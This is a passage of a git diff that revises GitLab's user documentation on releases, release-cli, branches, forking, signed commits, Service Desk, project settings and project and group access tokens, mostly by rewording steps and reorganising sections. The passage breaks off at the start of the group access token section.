+- You must have at least the Developer role for a project. For more information, read
+[Release permissions](#release-permissions).
+
+### Create a release in the Releases page
-To create a new release through the GitLab UI:
+To create a release in the Releases page:
+1. On the top bar, select **Menu > Projects** and find your project.
1. On the left sidebar, select **Deployments > Releases** and select **New release**.
-1. Open the [**Tag name**](#tag-name) dropdown. Select an existing tag or type
- in a new tag name. Selecting an existing tag that is already associated with
- a release will result in a validation error.
-1. If creating a new tag, open the **Create from** dropdown. Select a
- branch, tag, or commit SHA to use when creating the new tag.
-1. Optionally, fill out any additional information about the release, such as its
- [title](#title), [milestones](#associate-milestones-with-a-release),
- [release notes](#release-notes-description), or [assets links](#links).
-1. Click **Create release**.
-
-## Create a release by using a CI/CD job
+1. From the [**Tag name**](#tag-name) dropdown, either:
+ - Select an existing Git tag. Selecting an existing tag that is already associated with a release
+ results in a validation error.
+ - Enter a new Git tag name.
+ 1. From the **Create from** dropdown, select a branch or commit SHA to use when creating the
+ new tag.
+1. Optional. Enter additional information about the release, including:
+ - [Title](#title).
+ - [Milestones](#associate-milestones-with-a-release).
+ - [Release notes](#release-notes-description).
+ - [Asset links](#links).
+1. Select **Create release**.
+
+### Create a release in the Tags page
+
+To create a release in the Tags page, add release notes to either an existing or a new Git tag.
+
+To add release notes to a new Git tag:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Repository > Tags**.
+1. Select **New tag**.
+1. Optional. Enter a tag message in the **Message** text box.
+1. In the **Release notes** text box, enter the release's description.
+ You can use Markdown and drag and drop files to this text box.
+1. Select **Create tag**.
+
+To edit release notes of an existing Git tag:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Repository > Tags**.
+1. Select **Edit release notes** (**{pencil}**).
+1. In the **Release notes** text box, enter the release's description.
+ You can use Markdown and drag and drop files to this text box.
+1. Select **Save changes**.
+
+### Create a release by using a CI/CD job
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 12.7.
You can create a release directly as part of the GitLab CI/CD pipeline
-by using [the `release` keyword](../../../ci/yaml/index.md#release) in the job definition.
+by using the [`release` keyword](../../../ci/yaml/index.md#release) in the job definition.
-The release is created only if the job processes without error. If the Rails API returns an error
-during release creation, the release job fails.
+The release is created only if the job processes without error. If the API returns an error during
+release creation, the release job fails.
-### CI/CD example of the `release` keyword
+#### CI/CD example of the `release` keyword
To create a release when you push a Git tag, or when you add a Git tag
in the UI by going to **Repository > Tags**:
@@ -100,7 +141,7 @@ release_job:
rules:
- if: $CI_COMMIT_TAG # Run this job when a tag is created manually
script:
- - echo 'running release_job'
+ - echo "running release_job"
release:
name: 'Release $CI_COMMIT_TAG'
description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined
@@ -149,7 +190,7 @@ release_job:
when: never # Do not run this job when a tag is created manually
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
script:
- - echo 'running release_job for $TAG'
+ - echo "running release_job for $TAG"
release:
name: 'Release $TAG'
description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG
@@ -207,7 +248,7 @@ which requires the text representation of the certificate.
### `release-cli` command line
-The entries under the `release` node are transformed into a `bash` command line and sent
+The entries under the `release` node are transformed into Bash commands and sent
to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli).
You can also call the `release-cli` directly from a `script` entry.
@@ -224,14 +265,14 @@ A pipeline can have multiple `release` jobs, for example:
```yaml
ios-release:
script:
- - echo 'iOS release job'
+ - echo "iOS release job"
release:
tag_name: v1.0.0-ios
description: 'iOS release v1.0.0'
android-release:
script:
- - echo 'Android release job'
+ - echo "Android release job"
release:
tag_name: v1.0.0-android
description: 'Android release v1.0.0'
@@ -255,7 +296,8 @@ release tag. When the `released_at` date and time has passed, the badge is autom
## Edit a release
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26016) in GitLab 12.6. Asset link editing was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9427) in GitLab 12.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26016) in GitLab 12.6.
+> - Asset link editing [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9427) in GitLab 12.10.
Only users with at least the Developer role can edit releases.
Read more about [Release permissions](#release-permissions).
@@ -271,29 +313,6 @@ You can edit the release title, notes, associated milestones, and asset links.
To change the release date use the
[Releases API](../../../api/releases/index.md#update-a-release).
-## Add release notes to Git tags
-
-If you have an existing Git tag, you can add release notes to it.
-
-You can do this in the user interface, or by using the [Releases API](../../../api/releases/index.md).
-We recommend using the API to add release notes as one of the last steps in your CI/CD release pipeline.
-
-In the interface, to add release notes to a new Git tag:
-
-1. Navigate to your project's **Repository > Tags**.
-1. Click **New tag**.
-1. In the **Release notes** field, enter the release's description.
- You can use Markdown and drag and drop files to this field.
-1. Click **Create tag**.
-
-In the interface, to add release notes to an existing Git tag:
-
-1. Navigate to your project's **Repository > Tags**.
-1. Click **Edit release notes** (the pencil icon).
-1. In the **Release notes** field, enter the release's description.
- You can use Markdown in this field, and drag and drop files to it.
-1. Click **Save changes**.
-
## Associate milestones with a release
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29020) in GitLab 12.5.
@@ -325,6 +344,11 @@ Here is an example of milestones with no releases, one release, and two releases
![Milestones with and without Release associations](img/milestone_list_with_releases_v12_5.png)
+NOTE:
+A subgroup's project releases cannot be associated with a supergroup's milestone. To learn
+more, read issue #328054,
+[Releases cannot be associated with a supergroup milestone](https://gitlab.com/gitlab-org/gitlab/-/issues/328054).
+
## Get notified when a release is created
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26001) in GitLab 12.4.
@@ -576,6 +600,29 @@ links to a release is not recommended, because artifacts are ephemeral and
are used to pass data in the same pipeline. This means there's a risk that
they could either expire or someone might manually delete them.
+#### Number of new and total features **(FREE SAAS)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235618) in GitLab 13.5.
+
+On [GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/releases), you can view the number of new and total features in the project.
+
+![Feature count](img/feature_count_v14_6.png "Number of features in a release")
+
+The totals are displayed on [shields](https://shields.io/) and are generated per release by
+[a Rake task in the `www-gitlab-com` repo](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/lib/tasks/update_gitlab_project_releases_page.rake).
+
+| Item | Formula |
+| ------ | ------ |
+| `New features` | Total count of release posts across all tiers for a single release in the project. |
+| `Total features` | Total count of release posts in reverse order for all releases in the project. |
+
+The counts are also shown by license tier.
+
+| Item | Formula |
+| ------ | ------ |
+| `New features` | Total count of release posts across a single tier for a single release in the project. |
+| `Total features` | Total count of release posts across a single tier in reverse order for all releases in the project. |
+
## Release evidence
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.6.
@@ -776,7 +823,7 @@ You can copy the example project to your own group or instance for testing. More
### Getting `403 Forbidden` or `Something went wrong while creating a new release` errors when creating, updating or deleting releases and their assets
-If the release is associted with a [protected tag](../protected_tags.md),
+If the release is associated with a [protected tag](../protected_tags.md),
the UI/API request might result in an authorization failure.
Make sure that the user or a service/bot account is allowed to
[create the protected tag](../protected_tags.md#configuring-protected-tags) too.
diff --git a/doc/user/project/releases/release_cli.md b/doc/user/project/releases/release_cli.md
index c23ceaa1aba..b55f0b0a734 100644
--- a/doc/user/project/releases/release_cli.md
+++ b/doc/user/project/releases/release_cli.md
@@ -1,11 +1,10 @@
---
-type: reference, howto
stage: Release
group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Install the `release-cli` for the Shell executor
+# Install the `release-cli` for the Shell executor **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8.
> - [Changed](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/108) in GitLab 14.2, the `release-cli` binaries are also [available in the Package Registry](https://gitlab.com/jaime/release-cli/-/packages).
diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md
index bc6bc799670..65b7c4a9881 100644
--- a/doc/user/project/repository/branches/default.md
+++ b/doc/user/project/repository/branches/default.md
@@ -41,7 +41,7 @@ To update the default branch name for an individual [project](../../index.md):
1. Sign in to GitLab with at least the [Maintainer](../../../permissions.md) role.
1. In the left navigation menu, go to **Settings > Repository**.
1. Expand **Default branch**, and select a new default branch.
-1. (Optional) Select the **Auto-close referenced issues on default branch** checkbox to close
+1. Optional. Select the **Auto-close referenced issues on default branch** checkbox to close
issues when a merge request
[uses a closing pattern](../../issues/managing_issues.md#closing-issues-automatically).
1. Select **Save changes**.
@@ -134,7 +134,7 @@ renames a Git repository's (`example`) default branch.
[change the default branch for this project](#change-the-default-branch-name-for-a-project).
Select `main` as your new default branch.
1. Protect your new `main` branch as described in the [protected branches documentation](../../protected_branches.md).
-1. (Optional) If you want to delete the old default branch:
+1. Optional. If you want to delete the old default branch:
1. Verify that nothing is pointing to it.
1. Delete the branch on the remote:
diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md
index bf4ef21e31b..1ab21286a8e 100644
--- a/doc/user/project/repository/forking_workflow.md
+++ b/doc/user/project/repository/forking_workflow.md
@@ -26,17 +26,17 @@ To fork an existing project in GitLab:
1. Select the project to fork to:
- - *(Recommended method)* Below **Select a namespace to fork the project**, identify
+ - Recommended method. Below **Select a namespace to fork the project**, identify
the project you want to fork to, and click **Select**. Only namespaces you have
Developer and higher [permissions](../../permissions.md) for are shown.
![Choose namespace](img/forking_workflow_choose_namespace_v13_10.png)
- - *(Experimental method)* If your GitLab administrator has
+ - Experimental method. If your GitLab administrator has
[enabled the experimental fork project form](#enable-or-disable-the-fork-project-form), read
[Create a fork with the fork project form](#create-a-fork-with-the-fork-project-form).
- Only namespaces you have Developer and higher
- [permissions](../../permissions.md) for are shown.
+ Only namespaces you have at least the Developer
+ [role](../../permissions.md) for are shown.
NOTE:
The project path must be unique in the namespace.
@@ -101,7 +101,7 @@ To use it, follow the instructions at [Creating a fork](#creating-a-fork) and pr
- The project name.
- The project URL.
- The project slug.
-- *(Optional)* The project description.
+- Optional. The project description.
- The visibility level for your fork.
### Enable or disable the fork project form **(FREE SELF)**
diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md
index 6aa32b1b816..27767f8d325 100644
--- a/doc/user/project/repository/gpg_signed_commits/index.md
+++ b/doc/user/project/repository/gpg_signed_commits/index.md
@@ -40,7 +40,7 @@ For a commit to be verified by GitLab:
account.
- One of the emails in the GPG key must match a **verified** email address
used by the committer in GitLab. This address will be part of the public key.
- If you want to keep this address private, use the automatically generated
+ If you want to keep this address private, use the automatically generated
[private commit email address](../../../profile/index.md#use-an-automatically-generated-private-commit-email)
GitLab provides in your profile.
- The committer's email address must match the verified email address from the
@@ -54,17 +54,18 @@ started:
1. [Install GPG](https://www.gnupg.org/download/index.html) for your operating system.
If your operating system has `gpg2` installed, replace `gpg` with `gpg2` in
the following commands.
-1. Generate the private/public key pair with the following command, which will
- spawn a series of questions:
+1. Generate the private/public key pair with the command appropriate for your version
+ of `gpg`. This command spawns a series of questions:
```shell
+ # Use this command for the default version of gpg, including
+ # Gpg4win on Windows, and most macOS versions:
+ gpg --gen-key
+
+ # Use this command for versions of GPG later than 2.1.17:
gpg --full-gen-key
```
- NOTE:
- In some cases like Gpg4win on Windows and other macOS versions, the command
- here may be `gpg --gen-key`.
-
1. The first question is which algorithm can be used. Select the kind you want
or press <kbd>Enter</kbd> to choose the default (RSA and RSA):
@@ -200,7 +201,7 @@ key to use.
Replace `30F2B65B9246B6CA` with your GPG key ID.
-1. (Optional) If Git is using `gpg` and you get errors like `secret key not available`
+1. Optional. If Git is using `gpg` and you get errors like `secret key not available`
or `gpg: signing failed: secret key not available`, run the following command to
change to `gpg2`:
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index bb1a55f6b2b..54e9470892c 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -248,9 +248,19 @@ When you [rename a user](../../profile/index.md#change-your-username),
- The redirects are available as long as the original path is not claimed by
another group, user, or project.
-## Related links
+## Related topics
-- [GitLab Workflow VS Code extension](vscode.md)
+- [GitLab Workflow VS Code extension](vscode.md).
+- To lock files and prevent change conflicts, use [file locking](../file_lock.md).
+- [Repository API](../../../api/repositories.md).
+- [Find files](file_finder.md) in a repository.
+- [Branches](branches/index.md).
+- [File templates](web_editor.md#template-dropdowns).
+- [Create a directory](web_editor.md#create-a-directory).
+- [Start a merge request](web_editor.md#tips).
+- [Find file history](git_history.md).
+- [Identify changes by line (Git blame)](git_blame.md).
+- [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md).
## Troubleshooting
@@ -287,16 +297,3 @@ The same approach should also allow misidentified file types to be fixed.
```
`*.txt` files have an entry in the heuristics file. This example prevents parsing of these files.
-
-## Related topics
-
-- To lock files and prevent change conflicts, use [file locking](../file_lock.md).
-- [Repository API](../../../api/repositories.md).
-- [Find files](file_finder.md) in a repository.
-- [Branches](branches/index.md).
-- [File templates](web_editor.md#template-dropdowns).
-- [Create a directory](web_editor.md#create-a-directory).
-- [Start a merge request](web_editor.md#tips).
-- [Find file history](git_history.md).
-- [Identify changes by line (Git blame)](git_blame.md).
-- [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md).
diff --git a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook_diff_v14_5.png b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook_diff_v14_5.png
index bc63322cd65..3dc940c23de 100644
--- a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook_diff_v14_5.png
+++ b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook_diff_v14_5.png
Binary files differ
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index 8074f311e5f..ba105a970a7 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -175,10 +175,10 @@ request, you can create a new branch upfront.
![New branch dropdown](img/web_editor_new_branch_dropdown_v14_1.png)
1. Enter a new **Branch name**.
-1. (Optional) Change the **Create from** field to choose which branch, tag, or
+1. Optional. Change the **Create from** field to choose which branch, tag, or
commit SHA this new branch originates from. This field autocompletes if you
start typing an existing branch or tag.
-1. Click **Create branch** to return to the file browser on this new branch.
+1. To return to the file browser on this new branch, select **Create branch**.
![New branch page](img/web_editor_new_branch_page_v14_1.png)
@@ -201,10 +201,10 @@ SHA:
1. Give the tag a name such as `v1.0.0`.
1. Choose the branch or SHA from which you want to create this new tag.
-1. (Optional) Add a message and release notes. The release notes section supports
+1. Optional. Add a message and release notes. The release notes section supports
Markdown format.
-1. (Optional) Upload an attachment.
-1. Click **Create tag**, and GitLab redirects you to the tag list page.
+1. Optional. Upload an attachment.
+1. Select **Create tag**. GitLab redirects you to the tag list page.
![New tag page](img/web_editor_new_tag_page.png)
diff --git a/doc/user/project/repository/x509_signed_commits/index.md b/doc/user/project/repository/x509_signed_commits/index.md
index 2db7ae308bd..f9d9af3e672 100644
--- a/doc/user/project/repository/x509_signed_commits/index.md
+++ b/doc/user/project/repository/x509_signed_commits/index.md
@@ -290,7 +290,7 @@ To investigate why a commit shows as `Unverified`:
1. The verification status is stored in the database. To display the database record:
```ruby
- pp X509CommitSignature.by_commit_sha(commit.sha);nil
+ pp CommitSignatures::X509CommitSignature.by_commit_sha(commit.sha);nil
```
If all the previous checks returned the correct values:
diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md
index 6ee23c91680..294e493dfe9 100644
--- a/doc/user/project/requirements/index.md
+++ b/doc/user/project/requirements/index.md
@@ -17,6 +17,10 @@ In 14.4, Requirements was moved under **Issues**.
With requirements, you can set criteria to check your products against. They can be based on users,
stakeholders, system, software, or anything else you find important to capture.
+INFO:
+Meet your compliance needs with requirements in GitLab.
+[Try Ultimate free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-project-requirements-docs).
+
A requirement is an artifact in GitLab which describes the specific behavior of your product.
Requirements are long-lived and don't disappear unless manually cleared.
@@ -134,7 +138,7 @@ You can also sort the requirements list by:
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1.
> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
-GitLab supports [requirements test reports](../../../ci/yaml/index.md#artifactsreportsrequirements) now.
+GitLab supports [requirements test reports](../../../ci/yaml/artifacts_reports.md#artifactsreportsrequirements) now.
You can add a job to your CI pipeline that, when triggered, marks all existing
requirements as Satisfied (you may manually satisfy a requirement in the edit form [edit a requirement](#edit-a-requirement)).
diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md
index 4f8e068ca2d..072d685bde4 100644
--- a/doc/user/project/service_desk.md
+++ b/doc/user/project/service_desk.md
@@ -274,7 +274,7 @@ When configured, the custom suffix creates a new Service Desk email address, con
For example, suppose the `mygroup/myproject` project Service Desk settings has the following configured:
-- Project name suffix is set to `support`.
+- Email address suffix is set to `support`.
- Service Desk email address is configured to `contact+%{key}@example.com`.
The Service Desk email address for this project is: `contact+mygroup-myproject-support@example.com`.
@@ -289,6 +289,8 @@ In these issues, you can also see our friendly neighborhood [Support Bot](#suppo
### As an end user (issue creator)
+> Support for additional email headers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/346600) in GitLab 14.6.
+> In earlier versions, the Service Desk email address had to be in the "To" field.
To create a Service Desk issue, an end user does not need to know anything about
the GitLab instance. They just send an email to the address they are given, and
receive an email back confirming receipt:
@@ -304,6 +306,9 @@ are sent as emails:
Any responses they send via email are displayed in the issue itself.
+For information about headers used for treating email, see
+[the incoming email documentation](../../administration/incoming_email.md#accepted-headers).
+
### As a responder to the issue
For responders to the issue, everything works just like other GitLab issues.
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index 74879dae2d6..da0336d01ff 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -44,8 +44,9 @@ Note the following:
a maintainer or administrator role in the group where the exported project lives.
- Project members with the [Owner role](../../permissions.md) are imported as Maintainers.
- Imported users can be mapped by their public email on self-managed instances, if an administrative user (not an owner) does the import.
- Additionally, the user must be an existing member of the namespace, or the user can be added as a
-member of the project for contributions to be mapped.
+ The public email is not set by default. Users must [set it in their profiles](../../profile/index.md#set-your-public-email)
+ for mapping to work correctly. Additionally, the user must be an existing member of the namespace,
+ or the user can be added as a member of the project for contributions to be mapped.
Otherwise, a supplementary comment is left to mention that the original author and
the MRs, notes, or issues are owned by the importer.
- For project migration imports performed over GitLab.com Groups, preserving author information is
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index 5c4d4649240..c6cbd45a6ab 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -7,18 +7,18 @@ type: reference, index, howto
# Project settings **(FREE)**
-NOTE:
-Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions)
-to access project settings.
-
The **Settings** page in GitLab provides a centralized home for your
[project](../index.md) configuration options. To access it, go to your project's homepage
-and, in the left navigation menu, clicking **Settings**. To reduce complexity, settings are
-grouped by topic into sections. To display all settings in a section, click **Expand**.
+and, in the left navigation menu, select **Settings**. To reduce complexity, settings are
+grouped by topic into sections. To display all settings in a section, select **Expand**.
In GitLab versions [13.10 and later](https://gitlab.com/groups/gitlab-org/-/epics/4842),
GitLab displays a search box to help you find the settings you want to view.
+NOTE:
+Only users who have the [Maintainer role](../../permissions.md) for the project and administrators can
+access project settings.
+
## General settings
Under a project's general settings, you can find everything concerning the
@@ -315,7 +315,7 @@ Set up your project's merge request settings:
- Enable [require an associated issue from Jira](../../../integration/jira/issues.md#require-associated-jira-issue-for-merge-requests-to-be-merged).
- Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch).
- Configure [suggested changes commit messages](../merge_requests/reviews/suggestions.md#configure-the-commit-message-for-applied-suggestions).
-- Configure [merge commit message template](../merge_requests/commit_templates.md).
+- Configure [merge and squash commit message templates](../merge_requests/commit_templates.md).
- Configure [the default target project](../merge_requests/creating_merge_requests.md#set-the-default-target-project) for merge requests coming from forks.
### Service Desk
@@ -449,17 +449,22 @@ To delete a project:
This action deletes a project including all associated resources (issues, merge requests, and so on).
-In [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) and later, on Premium or higher tiers,
-group Owners can [configure](../../group/index.md#enable-delayed-project-removal) projects in a group
-to be deleted after a delayed period.
-When enabled, actual deletion happens after number of days
-specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
-
WARNING:
-The default behavior of [delayed project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
-[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
+The default deletion behavior for projects was changed to [delayed project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935)
+in GitLab 12.6, and then to [immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
+
+#### Delayed project deletion **(PREMIUM)**
+
+Projects in a group (not a personal namespace) can be deleted after a delay period. Multiple settings can affect whether
+delayed project deletion is enabled for a particular project:
+
+- Self-managed instance [settings](../../admin_area/settings/visibility_and_access_controls.md#default-delayed-project-deletion).
+ You can enable delayed project deletion as the default setting for new groups, and configure the number of days for the
+ delay. For GitLab.com, see the [GitLab.com settings](../../gitlab_com/index.md#delayed-project-deletion).
+- Group [settings](../../group/index.md#enable-delayed-project-deletion) to enabled delayed project deletion for all
+ projects in the group.
-#### Delete a project immediately **(PREMIUM)**
+##### Delete a project immediately
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/191367) in GitLab 14.1.
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index 85e412e7a41..44ece6cb172 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -12,111 +12,91 @@ type: reference, howto
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in GitLab 13.5.
> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/342327) in GitLab 14.5. Default prefix added.
-Project access tokens are similar to [personal access tokens](../../profile/personal_access_tokens.md)
-except they are attached to a project rather than a user. They can be used to:
+You can use a project access token to authenticate:
-- Authenticate with the [GitLab API](../../../api/index.md#personalproject-access-tokens).
-- Authenticate with Git using HTTP Basic Authentication. If you are asked for a username when
- authenticating, you can use any non-empty value because only the token is needed.
+- With the [GitLab API](../../../api/index.md#personalproject-access-tokens).
+- With Git, when using HTTP Basic Authentication.
-Project access tokens:
+After you configure a project access token, you don't need a password when you authenticate.
+Instead, you can enter any non-blank value.
-- Expire on the date you define, at midnight UTC.
-- Are supported for self-managed instances on Free tier and above. Free self-managed instances
- should:
- - Review their security and compliance policies with regards to
+Project access tokens are similar to [personal access tokens](../../profile/personal_access_tokens.md),
+except they are associated with a project rather than a user.
+
+You can use project access tokens:
+
+- On GitLab SaaS if you have the Premium license tier or higher. Personal access tokens are not available with a [trial license](https://about.gitlab.com/free-trial/).
+- On self-managed instances of GitLab, with any license tier. If you have the Free tier:
+ - Review your security and compliance policies around
[user self-enrollment](../../admin_area/settings/sign_up_restrictions.md#disable-new-sign-ups).
- Consider [disabling project access tokens](#enable-or-disable-project-access-token-creation) to
lower potential abuse.
-- Are also supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/).)
-For examples of how you can use a project access token to authenticate with the API, see the
-[relevant section from our API Docs](../../../api/index.md#personalproject-access-tokens).
+Project access tokens inherit the [default prefix setting](../../admin_area/settings/account_and_limit_settings.md#personal-access-token-prefix)
+configured for personal access tokens.
-NOTE:
-For GitLab.com and self-managed instances, the default prefix is `glpat-`.
+## Create a project access token
-## Creating a project access token
+To create a project access token:
-1. Log in to GitLab.
-1. Navigate to the project you would like to create an access token for.
-1. In the **Settings** menu choose **Access Tokens**.
-1. Choose a name and optional expiry date for the token.
-1. Choose a role for the token.
-1. Choose the [desired scopes](#limiting-scopes-of-a-project-access-token).
-1. Click the **Create project access token** button.
-1. Save the project access token somewhere safe. Once you leave or refresh
- the page, you don't have access to it again.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Access Tokens**.
+1. Enter a name.
+1. Optional. Enter an expiry date for the token. The token will expire on that date at midnight UTC.
+1. Select a role for the token.
+1. Select the [desired scopes](#scopes-for-a-project-access-token).
+1. Select **Create project access token**.
-## Project bot users
+A project access token is displayed. Save the project access token somewhere safe. After you leave or refresh the page, you can't view it again.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210181) in GitLab 13.0.
-> - [Excluded from license seat use](https://gitlab.com/gitlab-org/gitlab/-/issues/223695) in GitLab 13.5.
+## Revoke a project access token
-Project bot users are [GitLab-created service accounts](../../../subscriptions/self_managed/index.md#billable-users) and do not count as licensed seats.
+To revoke a project access token:
-For each project access token created, a bot user is created and added to the project with
-the [specified level permissions](../../permissions.md#project-members-permissions).
-
-For the bot:
-
-- The name is set to the name of the token.
-- The username is set to `project_{project_id}_bot` for the first access token, such as `project_123_bot`.
-- The email is set to `project{project_id}_bot@example.com`, for example `project123_bot@example.com`.
-- For additional access tokens in the same project, the username is set to `project_{project_id}_bot{bot_count}`, for example `project_123_bot1`.
-- For additional acess tokens in the same project, the email is set to `project{project_id}_bot{bot_count}@example.com`, for example `project123_bot1@example.com`
-
-API calls made with a project access token are associated with the corresponding bot user.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Access Tokens**.
+1. Next to the project access token to revoke, select **Revoke**.
-These bot users are included in a project's **Project information > Members** list but cannot be modified. Also, a bot
-user cannot be added to any other project.
+## Scopes for a project access token
-When the project access token is [revoked](#revoking-a-project-access-token), the bot user is deleted
-and all records are moved to a system-wide user with the username "Ghost User". For more
-information, see [Associated Records](../../profile/account/delete_account.md#associated-records).
+The scope determines the actions you can perform when you authenticate with a project access token.
-## Revoking a project access token
-
-At any time, you can revoke any project access token by clicking the
-respective **Revoke** button in **Settings > Access Tokens**.
-
-## Limiting scopes of a project access token
-
-Project access tokens can be created with one or more scopes that allow various
-actions that a given token can perform. The available scopes are depicted in
-the following table.
-
-| Scope | Description |
-| ------------------ | ----------- |
-| `api` | Grants complete read/write access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). |
-| `read_api` | Grants read access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). |
-| `read_registry` | Allows read-access (pull) to [container registry](../../packages/container_registry/index.md) images if a project is private and authorization is required. |
-| `write_registry` | Allows write-access (push) to [container registry](../../packages/container_registry/index.md). |
-| `read_repository` | Allows read-only access (pull) to the repository. |
-| `write_repository` | Allows read-write access (pull, push) to the repository. |
+| Scope | Description |
+|:-------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `api` | Grants complete read and write access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). |
+| `read_api` | Grants read access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). |
+| `read_registry` | Allows read access (pull) to the [Container Registry](../../packages/container_registry/index.md) images if a project is private and authorization is required. |
+| `write_registry` | Allows write access (push) to the [Container Registry](../../packages/container_registry/index.md). |
+| `read_repository` | Allows read access (pull) to the repository. |
+| `write_repository` | Allows read and write access (pull and push) to the repository. |
## Enable or disable project access token creation
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/287707) in GitLab 13.11.
-You may enable or disable project access token creation for all projects in a group in **Group > Settings > General > Permissions, LFS, 2FA > Allow project access token creation**.
-Even when creation is disabled, you can still use and revoke existing project access tokens.
-This setting is available only on top-level groups.
+To enable or disable project access token creation for all projects in a top-level group:
-## Group access token workaround **(FREE SELF)**
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Permissions, LFS, 2FA**.
+1. Under **Permissions**, turn on or off **Allow project access token creation**.
-NOTE:
-This section describes a workaround and is subject to change.
+Even when creation is disabled, you can still use and revoke existing project access tokens.
+
+## Group access tokens **(FREE SELF)**
-Group access tokens let you use a single token to:
+With group access tokens, you can use a single token to:
-- Perform actions at the group level.
+- Perform actions for groups.
- Manage the projects within the group.
-- In [GitLab 14.2](https://gitlab.com/gitlab-org/gitlab/-/issues/330718) and later, authenticate
- with Git over HTTPS.
+- In [GitLab 14.2](https://gitlab.com/gitlab-org/gitlab/-/issues/330718) and later, authenticate with Git over HTTPS.
+
+NOTE:
+You cannot use the UI to create a group access token. [An issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/214045)
+to add this functionality. This section describes a workaround.
-We don't support group access tokens in the GitLab UI, though GitLab self-managed
-administrators can create them using the [Rails console](../../../administration/operations/rails_console.md).
+If you are an administrator of a self-managed GitLab instance, you can create a group access token in the
+[Rails console](../../../administration/operations/rails_console.md).
<div class="video-fallback">
For a demo of the group access token workaround, see <a href="https://www.youtube.com/watch?v=W2fg1P1xmU0">Demo: Group Level Access Tokens</a>.
@@ -127,37 +107,83 @@ administrators can create them using the [Rails console](../../../administration
### Create a group access token
-To create a group access token, run the following in a Rails console:
